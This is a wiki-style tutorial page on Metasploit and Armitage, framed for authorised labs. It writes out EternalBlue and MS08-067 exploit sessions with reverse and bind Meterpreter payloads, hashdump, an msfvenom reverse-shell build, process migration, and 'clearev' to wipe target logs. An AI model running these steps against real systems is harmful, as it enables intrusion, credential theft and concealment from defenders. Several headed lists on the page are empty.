The VikiD Truth

Knowledge base / Computing / Security

Computing | Computer Security | Linux Security | Industrial Control Systems Security | Penetration Testing | Exploitation | Social Engineering | Metasploit

Metasploit & Armitage

Here is the truth about Metasploit: it is a library of known doors and the tools to push them – useful in a lab and a liability anywhere you lack permission. The Framework is not magic; it packages other people’s vulnerability research into a consistent interface.

What it is, in plain words

The Metasploit Framework (open source, Rapid7) is a platform for developing, organising and running exploits. Core ideas:

You drive it with msfconsole, sometimes with msfvenom to generate standalone payloads. It belongs in an authorised lab – see Penetration Testing.

Why it matters

Metasploit teaches the anatomy of an exploit chain: target → module → options → payload → session → post. Defenders should recognise its traffic and fingerprints; attackers-in-training should learn how quickly unpatched software falls. It is also a reminder that “script kiddie tools” are often just well-engineered tools.

An everyday analogy: a locksmith’s ring

A locksmith carries keys that open many common locks. Metasploit is that ring for software. Having the key doesn’t make it legal to open someone else’s door.

flowchart LR
  R[Recon] --> M[Pick module]
  M --> O[Set RHOST / options]
  O --> E[exploit]
  E --> S[Session]
  S --> P[post modules]

A hands-on example (lab only)

# Kali / authorised lab VM
msfconsole -q
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > set RHOSTS 192.168.56.30
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.10
msf6 > exploit

Against a deliberately vulnerable target on a host-only network. When a Meterpreter session opens:

meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump          # only if in scope

Generate a payload for a custom drill:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f elf -o /tmp/pay.elf

Again: only on systems you own or have written permission to test.

Defensive takeaways

If you run systems for real:

Running Metasploit against your own lab once a year teaches more about your exposure than a shelf of unread CVE emails.

Common misconceptions

Organising a learning path

  1. Finish a legal lab install (two VMs, host-only network).
  2. Work through auxiliary scanners before exploits – see what noise you generate.
  3. Use one exploit end-to-end; write notes as if you owed a client a report.
  4. Re-do the same target by hand (curl, python, gdb) so MSF isn’t a black box.
  5. Only then explore post modules and pivoting – still inside the lab.

Metasploit is a force multiplier after fundamentals, not a substitute for them.

Connections

Some commands to operate metasploit:

search netapi

use exploit ms08

set payload window/meterpreter/bind_tcp

show options

set RHOST target_ip

exploit

meterpreter> getpid

ps

select any legitimate process and its PID

migrate PID

?

finally clear all logs on the target

clearev

Tools - Reading List

Last edited · 7 revisions

Tags: #Computing